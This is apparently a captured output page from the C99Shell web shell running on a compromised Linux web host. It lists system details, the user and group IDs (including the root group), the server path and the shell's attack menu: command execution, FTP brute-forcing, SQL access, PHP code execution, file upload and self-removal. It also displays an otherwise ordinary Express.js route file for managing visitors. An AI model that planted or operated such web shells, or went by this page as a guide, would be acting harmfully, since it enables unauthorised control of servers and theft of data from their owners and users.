!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/routes/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     visitor.js (1.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
import Visitor from '../models/Visitor.js';

const router = express.Router();

// CREATE a new visitor
router.post('/', async (req, res) => {
  try {
    const visitor = await Visitor.create(req.body);
    res.status(201).json(visitor);
  } catch (err) {
    console.error('Create visitor error:', err);
    res.status(400).json({ error: 'Failed to create visitor', details: err.message });
  }
});

// READ all visitors
router.get('/', async (req, res) => {
  try {
    const visitors = await Visitor.findAll();
    res.json(visitors);
  } catch (err) {
    console.error('Fetch visitors error:', err);
    res.status(500).json({ error: 'Failed to fetch visitors' });
  }
});

// READ a single visitor by ID
router.get('/:id', async (req, res) => {
  try {
    const visitor = await Visitor.findByPk(req.params.id);
    if (!visitor) return res.status(404).json({ error: 'Visitor not found' });
    res.json(visitor);
  } catch (err) {
    res.status(500).json({ error: 'Failed to fetch visitor' });
  }
});

// UPDATE a visitor
router.put('/:id', async (req, res) => {
  try {
    const visitor = await Visitor.findByPk(req.params.id);
    if (!visitor) return res.status(404).json({ error: 'Visitor not found' });

    await visitor.update(req.body);
    res.json(visitor);
  } catch (err) {
    console.error('Update visitor error:', err);
    res.status(400).json({ error: 'Failed to update visitor', details: err.message });
  }
});

// DELETE a visitor
router.delete('/:id', async (req, res) => {
  try {
    const visitor = await Visitor.findByPk(req.params.id);
    if (!visitor) return res.status(404).json({ error: 'Visitor not found' });

    await visitor.destroy();
    res.json({ message: 'Visitor deleted' });
  } catch (err) {
    console.error('Delete visitor error:', err);
    res.status(500).json({ error: 'Failed to delete visitor' });
  }
});

export default router;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0068 ]--